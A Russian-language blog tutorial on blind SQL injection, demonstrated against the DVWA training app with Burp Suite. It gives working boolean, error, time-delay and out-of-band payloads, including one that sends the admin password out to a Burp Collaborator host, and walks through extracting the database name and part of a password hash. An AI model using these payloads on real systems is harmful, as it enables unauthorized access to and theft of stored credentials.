March 8, 2023

Blind SQLi простыми словами by artrone

Всех приветствую! В данной статье рассмотрим понятие, как "Слепая SQL инъекция". Я постараюсь очень понятным языком донести до вас всю суть.

Итак, начнем!)

Немного теории

Слепая инъекция SQL возникает, когда приложение уязвимо для инъекции SQL, но его HTTP-ответы не содержат результатов соответствующего SQL-запроса или сведений об ошибках базы данных.

Из-за уязвимостей слепых SQL-инъекций многие методы, такие как UNION атаки, неэффективны потому, что они полагаются на возможность видеть результаты введенного запроса в ответах приложения. По-прежнему, можно использовать слепую инъекцию SQL для доступа к несанкционированным данным, но необходимо использовать другие методы.

"Виды использования" Blind SQLI

  1. Использование слепой инъекции SQL путем запуска условных ответов

Пример: admin' AND SUBSTRING((SELECT password FROM users WHERE user = 'admin'), 1, 1) > 'a' — -

  1. Вызов условных ответов путем запуска ошибок SQL

Пример: admin' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a' — -

  1. Использование слепых SQL-инъекций путем запуска временных задержек

Пример: '; IF (1=2) WAITFOR DELAY '0:0:10'— -

  1. Использование слепых SQL-инъекций с использованием внеполосных (OAST) методов (делается через PRO версию BurpSuite)

Пример: '; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

Учимся на примере

Итак, для начала предлагаю подставить " ' " и убедиться в наличии ошибки синтаксиса также, как при обычной SQLi:

Как мы видим, никакой ошибки не появилось, и даже, напротив, всё вывелось корректно.

Хорошо, давайте проверим вывод с логической истиной:

Ага, все работает. А существует ли вообще уязвимость? Давайте проверим путем "временной задержки":

Как мы видим, задержка в 5 секунд действительно срабатывает, но вывод остается пустым.

Давайте окончательно убедимся в существовании уязвимости и проверим количество столбцов через оператор order by :

В результате мы получили, что в запросе используется 2 колонки.

При попытке узнать, что "используется 3 колонки", мы получаем пустой вывод, как бы получая в результате, что "такого пользователя нет в базе данных"

Если короче, то можно подытожить и сказать: "Если в ответе получаем пустоту, то данная запись не существует в базе данных и наоборот"

После того, как разобрались с шагом выше, предлагаю начать доставать данные из БД. Для этого, реализуем такой запрос:

1' AND (SELECT LENGTH(DATABASE())=2) — -

Что это за запрос? Дело в том, что в данном запросе используется функция "сравнения". Заведомо зная о существовании пользователя с id=1, мы можем использовать это в своих целях- мы "достаем" длину названия БД и сравниваем ее с нашим значением. В данном случае, с 2.

Но в ответе пустота, поэтому подбираем дальше:

Как мы видим, длина названия БД - 4 символа. Предлагаю узнать эти символы. Для этого будем использовать замечательный оператор SUBSTR :

1' AND (SELECT SUBSTR(DATABASE(),1,1)='a') — -

В данном запросе мы говорим, что первая буква в названии БД - буква "a". Если это истина, то вывод будет не пустым, иначе пустота.

ВАЖНЫЙ МОМЕНТ!

*

Запрос выше может иметь вид:

1' AND (SELECT ascii(SUBSTR(DATABASE(),1,1))> 1) — -

Что поменялось? По сути-то ничего, только теперь мы сравниваем не с конкретным алфавитом, а с таблицой аски. Кому-то этот способ нравится больше)

*

Но вы наверно уже смекнули, что букв немало и длина может быть 10+ символов? Безусловно, руками это всё перебирать- заёб.

Именно поэтому мы будем пользоваться BurpSuite'ом.

Перехватываем наш запрос:

Далее отправляем его в Intruder и "обставляем" с двух сторон наш символ, который должен меняться:

Далее заходим во вкладку "Payloads" и добавляем символы a-z, 0-9:

Затем запускаем и ждем результата:

Я думаю, по длине ответа видно, что "d" является первой буквой названия БД.

Предлагаю полностью автоматизировать процесс и сделать так, чтобы название само подобралось, меняя аргумент в SUBSTR (меняя первую циферку, которая обозначает символ названия по счету):

Для этого выбираем тип атаки "Cluster bomb" и опять "обставляем" с двух сторон символ, но на этот раз первый аргумент из SUBSTR - SUBSTR(DATABASE(),1,1):

Поскольку цифра из SUBSTR стоит первее, то и она будет является "первым пэйлодом". Выбираем тип "цифры" и ставим от 1 до 4, поскольку длина БД = 4.

Проверяем суммарное количество запросов, затем запускам и ждем-с:

Как мы видим, мы получили "dvwa". Отлично!

Бонус

В качестве бонуса предлагаю пробежаться по получению пароля.

Из прошлого урока мы знаем, что креды хранятся в таблице users. Поэтому пропустим шаг с ее нахождением.

Выполняя те же действия, что и раньше, давайте узнаем длину пароля пользователя admin:

Поскольку при значении >30, вывод не пуст, а при значении >31 пуст, то мы делаем вывод, что длина пароля = 31. Я полагаю, что это хеш, но давайте точно узнаем:

Хочу сказать, что данный способ оооооооооочень долгий. Я не знаю, с чем это связано. Возможно из-за того, что мой Burp использует Chronium в качестве дефолтного браузера (если знаете фикс, то напишите мне в тг). Именно поэтому, я не смог выдержать всего пути и в результате получил лишь часть)))

Сверху полученный пароль, а снизу оригинальный. Как мы видим, способ действенный. Но на него нужно время.

Напишите в комментариях, было ли всё понятно?

Всем добра!

НАШ ТГ-КАНАЛ: https://t.me/hackerblog